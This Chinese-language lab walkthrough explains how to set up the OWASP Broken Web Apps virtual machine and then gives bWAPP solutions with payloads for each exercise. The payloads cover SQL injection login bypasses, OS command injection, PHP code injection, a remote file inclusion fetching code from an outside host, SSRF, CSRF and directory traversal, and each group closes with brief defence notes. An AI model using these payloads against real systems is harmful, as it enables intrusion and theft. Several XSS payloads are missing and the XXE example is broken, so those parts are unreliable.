刚刚入门的小白需要练习的环境,但是小白如何搭建OWASP(DVWA)靶机呢?这里推荐大家在虚拟机里搭建OWASP靶机,里面集成了DVWA靶机。
0X01
去官网下载压缩文件到本地,官网已经停更了,下载最上方的版本就可。如下图所示。点开之后可以发现有多种文件格式以供下载,如图
但官方推荐的下载格式为.7z格式
大致意思为:
我们建议您下载.7z存档(如果可能)以节省带宽(和时间)。 7-zip适用于Windows,Mac,Linux和其他操作系统。
下载完成后解压打开文件。
0X02
打开Vmware虚拟机,点击右上角file -->打开–>选存放目录
打开后先配置虚拟机的网络为NAT模式,官方文档介绍如下:
意思为: 该虚拟机存在许多严重的安全问题。 强烈建议您仅在虚拟机设置中的“仅主机”或“ NAT”网络上运行它!
0X03 启动虚拟机
启动后等待加载完成
此时你就可以通过访问上面给的ip访问靶机了。
这里有很多靶机,常用的是DVWA,如上图箭头所示。
用户名和密码均为admin
安装完成,打开靶机,看到如下界面。
练习之前现在这里设置困难等级。
然后就可以玩这10个靶场了。
0X03 bWAPP通关攻略
按照OWASP排序
0x01、A1-Injuction(注入)
Low级别:不经过任何处理的接收用户数据
Medium级别:黑名单机制,转义了部分危险数据
High级别:全部转义,或者白名单机制
1.1 HTML Injection-Reflected(GET,POST)
Low:
Payload: baidu
Mediu:
Payload: %3ca+href%3d%27https%3a%2f%2fwww.baidu.com%27%3ebaidu%3c%2fa%3e
1.2 HTML Injection-Reflected(Current URL)
Payload和以上相同,只是注入点不同
由于url中输入自动转义成urlcode,在burp中还原成原始字符即可
1.3 HTML Injection-Stored(Blog)
Payload和以上相同,只是注入点不同
存储型注入,可以把url,xss写进数据库
1.4 iFrame Injection
直接通过http访问ParamUrl中的参数
Low:
Payload: ?ParamUrl=https://www.baidu.com&ParamWidth=250&ParamHeight=250
1.5 OS Command Injection
回显输入的网址的dns解析,使用管道符跳过限制
Low:
Payload: Windows中 |ipconfig 、Linux中;cat /eta/passwd
1.6 OS Command Injection-Blind
无回显,只能使用不需要回显的命令
1.7 PHP code Injection
把任意输入参数当做PHP代码执行,可直接菜刀连之
Low:
Payload: ?message=phpinfo();
1.8 SQL Injection(GET/POST/Search)
这里都是明显的SQL注入漏洞,sqlmap随便跑
Sql语句猜测:
SELECT * from movies WHERE title like ‘%$_GET[“title”]%’;
Low:
Payload: s’ or ‘a’=‘a’–
1.9 SQL Injection(GET/POST/Select)
只能回显一行,不影响
Sql语句猜测:
SELECT * from movies WHERE id = $_GET[“movie”];
Low:
Payload: ?movie=5%20or%201=1&action=go
1.10 SQL Injection (Login Form/Hero)
万能密码
Sql语句猜测:
SELECT * FROM heroes WHERE login= $_POST[“login”] and password
= $_POST[“password”];
Low:
Payload: login=test’ or ‘a’=‘a’–
1.11 SQL Injection (Login Form/Users)
不知道账号密码登陆
略复杂,审计源码发现是先$row=SELECT * FROM heroes WHERE login= $_GET[“login”]
再判断$row[“login”] && $password == $row[“password”]
$row必须为一个数组,才能进行下一步判断,另外密码为sha1加密过的
Low:
Payload:
login=test’ UNION SELECT 1,2,‘77de68daecd823babbb58edb1c8e14d7106e83bb’,4,5,6,7,8,9-- &pawword=3
1.12 SQL Injection (SQLite)
Mysql换成了sqlite,只是些sql语句写法变了
1.13 SQL Injection - Stored (Blog)
存储型,可以写xss,url等等
Low:
Payload:
1.14 SQL Injection - Stored (User-Agent)
会将User-Agent中的值存入数据库,使用burp改改User-Agent就行
1.15 SQL Injection - Stored (XML)
1.16 XML/XPath Injection (Login Form)
万能密码
XPath语句:
/heroes/hero[login=’ $_GET[“login”]’ and password=’ $_GET[“password”]’
Low:
Payload:?login=%27+or+%271%27%3D%271&password=%27+or+%271%27%3D%271&form=submit
1.17 XML/XPath Injection (Search)
Xpath语句:
//hero[contains(genre, $_GET[“genre”])]/movie
1.18 防护
Html/xss注入:白名单+所有输入转义为htmlcode
命令注入:白名单
Sql注入:ORM或者占位符
0x02、A2-Broken Auth&Session Mgmt(失效的身份认证和会话管理)
2.1 Broken Auth. - CAPTCHA Bypassing
爆破即可,验证码每次提交不变
2.2 Broken Auth. - Insecure Login Forms
Low:
这个账号密码直接在网页源码中,审查一下即可
Medium:
JS的unlock_secret()里面搞了个密码表,对照一下即可找出
High:
密码直接提示出来了,没太懂这题的意思
2.3 Broken Auth. - Logout Management
Low:
只是跳转到登陆页面,实际没清session
2.4 Broken Auth. - Password Attacks
连验证码都没有了,直接爆破即可
2.5 Broken Auth. - Weak Passwords
弱口令,爆破更简单
2.6 Session Mgmt. - Administrative Portals
更改自己的权限
Low:
Payload: ?admin=1
Medium:
Payload: Cookies: admin=1
High:
写到session中了,看起来挺安全了
2.7 Session Mgmt. - Cookies (HTTPOnly)
cookies设置httponly,防止js获取cooikes
2.8 Session Mgmt. - Session ID in URL
Session id出现在url中了
2.9 防护
密码防爆破:高复杂度密码+每次都变的验证码+限制单IP登陆频率
Session防护:不能明文暴露、httponly防劫持、登出清理cooikes
0x03、A3 - Cross-Site Scripting (XSS)
Low级别:不经过任何处理的接收用户数据
Medium级别:黑名单机制,转义了部分危险数据
High级别:全部转义,通常框架会帮你做转义
3.1 XSS - Reflected (GET/POST/JSON)
这几种方式只是提交数据的方法不通
Low:
Payload:
Medium:
Payload:
3.2 XSS - Reflected (Back Button)
Low、medium:
Payload: Referer '">
3.3 XSS - Reflected (Eval)
Low,medium:
Payload: ?date=alert(1)
3.4 XSS - Reflected (HREF)
Low:
Payload: />
3.5 防护
其实还有很多题,但只是提交方法、插入位置不同
XSS防护:对输入过滤,对输出编码
富文本编辑器使用白名单过滤,黑名单很容易被绕过
通常框架都都会把输出做htmlencode
Cookies : httponly=True防session劫持
0x04、A4 - Insecure Direct Object References(不安全的对象直接引用)
4.1 Insecure DOR (Change Secret)
Low:
修改value中的用户名就可以修改别的用户的密码了
4.2 Insecure DOR (Reset Secret)
Low,medium,high:
Js中的ResetSecret()可以看到用户名,修改就可以重置别的用户的密码了
4.3 Insecure DOR (Order Tickets)
Low:
ticket_price的value可以直接在html代码中修改
4.4 防护
本章主要算是逻辑漏洞
修改/重置密码时,验证用户身份使用session+用户名密码
不需要用户发送的数据要在后端生成
0x05、A5-Security Misconfiguration(安全误配置)
办公室电脑装不了虚拟机,很多都搞不了(环境要搭在虚拟机里,还需要kali)
5.1 Man-in-the-Middle Attack (HTTP)
用户名密码明文传输
5.2 Robots File
敏感文件暴露在robots.txt文件中
5.3 防护
使用https建立安全隧道,可防止中间人劫持数据
不要在robots.txt暴露敏感文件
0x06、A6 - Sensitive Data Exposure(敏感数据泄露)
6.1 Base64 Encoding (Secret)
Low:
Cookies中有密码,通过Base64解密即可
6.2 Clear Text HTTP (Credentials)
Low:
密码明文传输
6.3 Text Files (Accounts)
Low:
明文存储
Medium:
密码为sha1加密,简单的密码会被爆破
6.4 防护
敏感数据,特别是密码使用https传输或者加密传输(RSA),存储使用md5(md5+salt)的方式存储
0x07、 A7 - Missing Functional Level Access Control (应用层访问控制缺失)
7.1 Directory Traversal - Directories
Low:
Payload: ?directory=…/ 可以访问任意目录
Medium:
Payload: ?directory=images 过滤了一些符号,可以通过猜解的方式
7.2 Directory Traversal - Files
Low:
Payload: ?page=666
…/INSTALL.txt 猜解文件名,也可访问上层目录文件
Medium:
Payload: ?page=66 限制了访问上层目录
7.3 Remote & Local File Inclusion (RFI/LFI)(远程/本地文件包含)
Language参数后可以执行任意本地/远程文件,基本上什么都能搞了
Low:
本地文件直接执行
Payload: ?language=666&action=go
远程文件包含
Payload: ?language=http://phpcode.applinzi.com/phpzzz&action=go
Medium:
本地在文件名后面加上.php执行
Payload: ?language=aim&action=go
7.4 Restrict Device Access
Low,medium,high:
User-agent换成手机的头
7.5 Server Side Request Forgery (SSRF)
经典的SSRF漏洞利用,可以攻击内网
利用http://127.0.0.1/bWAPP/rlfi.php?language=lang_en.php&action=go
Low:
?ip=127.0.0.1&language=…/evil/ssrf-1.txt&action=go
?ip=127.0.0.1&language=http://127.0.0.1/evil/ssrf-1.txt&action=go
7.6 XML External Entity Attacks (XXE)
Xml外部实体攻击
Low:
SYSTEM可以执行任意代码
<?xml version="1.0" encoding="utf-8"?>]>
&popped;Any bugs?
7.7 防护
使用白名单限制文件访问
禁止XML外部实体
过滤返回信息来防护SSRF
0x08、 A8 - Cross-Site Request Forgery (CSRF) (跨站请求伪造CSRF)
8.1 CSRF (Transfer Amount)
自己制作一个钓鱼网站,把会产生扣款操作的url插入到在自己的网站中,然后把网址发到受害者,受害者访问即可触发扣款操作
<img src= “http://127.0.0.1/bWAPP/csrf_2.php?account=123-45678-90&amount=1&action=transfer”>
8.2 防护
CSRF攻击的一个大体流程,伪造一个请求链接,发送给受害者,受害者点击后请求被执行,前提是存在CSRF漏洞的浏览器cookie还没有过期,如果过期了是没有用的。
通常的防护做法是在提交表单的时候加上隐藏字段csrftoken(随机值,每次发送都会改变)一起发送到后端,后端收到后和cookies中的csrftoken对比(AJAX请求时就需要从cookies中获取csrftoken),一致才认为有效访问。这样做仍有可能被利用,最好的方式是将csrftoken存放在session中
0x09、A9 - Using Known Vulnerable Components(应用已知脆弱性的组件)
9.1 PHP Eval Function
源码审计,直接使用了eval函数
Payload: ?eval=phpinfo();
9.2 防护
本章主要是已知的各种致命漏洞的利用
针对不同的漏洞利用升级版本等方式来修补
0x0a、A10 - Unvalidated Redirects & Forwards (未验证的重定向转发)
当系统接受重定向参数(login界面居多,如:http://www.a.com/login.aspx?returnUrl=default.aspx),由于这个url会显示在浏览器地址栏中,只要修改这个url为http://www.a.com/login.aspx?returnUrl=http://wwv.a.com/login.aspx,用户输入密码后被重定向到假冒站点的login界面(用户以为输入的密码错误了),用户再次输入密码,此时密码就被假冒站点保存起来了…
可参考这篇文章:https://blog.csdn.net/dyllove98/article/details/8759910
0x0b、其他
11.1 Unrestricted File Upload
上传漏洞可直接上传大小马
11.2 防护
白名单+上传文件名随机修改+限制上传目录(可执行的不可上传、可上传的不可执行)